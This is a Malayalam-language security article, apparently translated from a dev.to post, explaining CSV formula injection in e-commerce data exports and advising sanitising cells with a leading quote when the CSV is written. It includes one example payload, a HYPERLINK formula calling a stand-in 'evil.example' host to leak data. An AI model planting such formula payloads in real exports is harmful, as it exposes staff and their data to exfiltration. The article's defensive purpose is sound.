CSV ഇൻജക്ഷൻ: കോഡ് പ്രവർത്തിപ്പിക്കുന്ന എക്സ്‌പോർട്ട് ബട്ടൺ

ഒരു ഉപഭോക്താവ് അവരുടെ പേര് നൽകുന്നു. അവർ =HYPERLINK("http://evil.example/leak", "click") എന്ന് ടൈപ്പ് ചെയ്യുന്നു. നിങ്ങളുടെ സിസ്റ്റം അത് സ്വീകരിക്കുന്നു. അത് വെറുമൊരു ടെക്സ്റ്റ് പോലെയാണ് കാണപ്പെടുന്നത്.

ആഴ്ചകൾക്ക് ശേഷം, നിങ്ങളുടെ ഫിനാൻസ് ടീം ഉപഭോക്താക്കളുടെ പട്ടിക CSV രൂപത്തിൽ എക്സ്‌പോർട്ട് ചെയ്യുന്നു. അവർ ആ ഫയൽ എക്സലിൽ (Excel) തുറക്കുന്നു. ആ സെൽ ഇനി വെറുമൊരു ടെക്സ്റ്റ് അല്ല. അതൊരു ഫോർമുലയാണ്.

ഇതാണ് CSV ഇൻജക്ഷൻ. ആളുകൾ ഇതിനെ ഫോർമുല ഇൻജക്ഷൻ എന്നും വിളിക്കുന്നു. ഇ-കൊമേഴ്‌സ് പാനലുകളിൽ സാധാരണയായി കാണപ്പെടുന്ന ഒരു ബഗ് ആണിത്. മിക്ക ടീമുകളും ഇത് പരിശോധിക്കാറില്ല.

സ്പ്രെഡ്ഷീറ്റ് ആപ്പുകൾ എല്ലാ സെല്ലുകളെയും ടെക്സ്റ്റ് ആയിട്ടല്ല കണക്കാക്കുന്നത്. ഒരു സെൽ =, +, -, അല്ലെങ്കിൽ @ എന്നിവയിൽ തുടങ്ങുകയാണെങ്കിൽ, എക്സലോ (Excel) ഗൂഗിൾ ഷീറ്റ്സോ (Google Sheets) അതിനെ ഒരു ഫോർമുലയായി വായിക്കുന്നു.

ഒരു ഫോർമുലയ്ക്ക് കണക്കുകൂട്ടലുകൾക്ക് അപ്പുറം കാര്യങ്ങൾ ചെയ്യാൻ കഴിയും. അതിന് ഒരു URL നിർമ്മിക്കാനും, ഒരു നെറ്റ്‌വർക്കുമായി ബന്ധപ്പെടാനും കഴിയും. ചില സന്ദർഭങ്ങളിൽ, ഒരു കമ്പ്യൂട്ടറിൽ കമാൻഡുകൾ പ്രവർത്തിപ്പിക്കാനും ഇതിന് സാധിക്കും.

നിങ്ങളുടെ ഡാറ്റാബേസിൽ ഡാറ്റ ഒരു ടെക്സ്റ്റ് ആയി തന്നെ തുടരുന്നു. എന്നാൽ ഒരു മനുഷ്യൻ ആ ഫയൽ തുറക്കുന്ന നിമിഷം അത് പ്രവർത്തിപ്പിക്കാൻ കഴിയുന്ന ഒന്നായി മാറുന്നു. സാധാരണയായി, ഉയർന്ന ആക്സസ് ലെവലുകളുള്ള ഒരു സ്റ്റാഫ് അംഗമായിരിക്കും ഇതിന്റെ ഇരയാകുന്നത്.

ഉപഭോക്താക്കളുടെ ഡാറ്റ എക്സ്‌പോർട്ട് ചെയ്യുന്ന ഏത് ഇടത്തും നിങ്ങൾ അപകടത്തിലായേക്കാം:

  • ഉപഭോക്താക്കളുടെ പേരും വിലാസവും എക്സ്‌പോർട്ട് ചെയ്യുമ്പോൾ
  • ഓർഡർ ഗ്രിഡുകൾ CSV രൂപത്തിൽ എക്സ്‌പോർട്ട് ചെയ്യുമ്പോൾ
  • വെണ്ടർമാരിൽ നിന്നുള്ള പ്രൊഡക്റ്റ് ഫീഡുകൾ (Product feeds)
  • കോൺടാക്റ്റ് ഫോം ഡമ്പുകൾ (Contact form dumps)

ഒരു അറ്റാക്കർക്ക് അഡ്മിൻ ആക്സസ് ആവശ്യമില്ല. അവർ സ്വന്തം പേര് ഒരു ഫോർമുലയായി നൽകി കാത്തിരിക്കുന്നു.

ഇൻപുട്ട് വാലിഡേഷൻ (input validation) സമയത്ത് ഇത് പരിഹരിക്കാൻ ശ്രമിക്കരുത്. ഒരു സ്പ്രെഡ്ഷീറ്റ് അത് വായിക്കുന്നത് വരെ ആ മൂല്യം ഒരു സാധാരണ ടെക്സ്റ്റ് ആണ്. പകരം, നിങ്ങൾ CSV ഫയൽ എഴുതുന്ന സമയത്ത് ഡാറ്റ സാനിറ്റൈസ് (sanitize) ചെയ്യുക.

ഒരു സെൽ =, +, -, @, ഒരു ടാബ് (tab), അല്ലെങ്കിൽ ഒരു കരിയേജ് റിട്ടേൺ (carriage return) എന്നിവയിൽ തുടങ്ങുകയാണെങ്കിൽ, അതിന്റെ തുടക്കത്തിൽ ഒരു സിംഗിൾ കോട്ട് (') ചേർക്കുക.

ഉദാഹരണത്തിന്: മൂല്യം ഒരു ട്രിഗർ ക്യാരക്ടറിൽ തുടങ്ങുകയാണെങ്കിൽ, "'"+ value എന്ന് നൽകുക.

ആ സെല്ലിനെ ഒരു ടെക്സ്റ്റ് ആയി പരിഗണിക്കണമെന്ന് സിംഗിൾ കോട്ട് സ്പ്രെഡ്ഷീറ്റിനോട് പറയുന്നു. സ്പ്രെഡ്ഷീറ്റ് ആ കോട്ടിനെ ഉപയോക്താവിൽ നിന്ന് മറച്ചുവെക്കുന്നു. ഓരോ ഫീൽഡും ഫയലിലേക്ക് പ്രവേശിക്കുന്നതിന് മുമ്പ് ഈ പരിശോധനയിലൂടെ കടത്തിവിടുക.

നിങ്ങളുടെ ഡാറ്റാബേസിൽ ഡാറ്റ എസ്കേപ്പ് (escape) ചെയ്യരുത്. ഡാറ്റാബേസിലും HTML-ലും ആ മൂല്യം സുരക്ഷിതമാണ്. അത് CSV-യിൽ മാത്രമാണ് അപകടകാരിമാകുന്നത്. നിങ്ങളുടെ ഡാറ്റ മറ്റ് ഇടങ്ങളിൽ സുരക്ഷിതമായിരിക്കാൻ CSV ബൗണ്ടറി സംരക്ഷിക്കുക.

നിങ്ങളുടെ ഇന്റേണൽ എക്സ്‌പോർട്ടുകളെ അന്ധമായി വിശ്വസിക്കുന്നത് നിർത്തുക. അറ്റാക്കർമാർ ഇത്തരം ഫയലുകളിലൂടെ നിങ്ങളുടെ സ്റ്റാഫിനെ ലക്ഷ്യം വെക്കുന്നു.

CSV ഇൻജക്ഷൻ സ്കാനറുകളിൽ ഭയപ്പെടുത്തുന്ന മുന്നറിയിപ്പുകൾ നൽകില്ല. വർഷങ്ങൾക്ക് മുമ്പ് നിങ്ങൾ നിർമ്മിച്ച എക്സ്‌പോർട്ട് ബട്ടണിനുള്ളിൽ ഇത് ഒളിച്ചിരിക്കുന്നു. നിങ്ങളുടെ CSV എക്സ്‌പോർട്ട് കോഡ് ഇപ്പോൾ തന്നെ പരിശോധിക്കുക. ഓരോ സെല്ലിന്റെയും ആദ്യത്തെ ക്യാരക്ടർ നിങ്ങൾ സംരക്ഷിക്കുന്നില്ലെങ്കിൽ, നിങ്ങൾ അപകടത്തിലാണ്.

Source: https://dev.to/iamrobindhiman/csv-injection-the-export-button-that-runs-code-on-someone-elses-machine-3ki6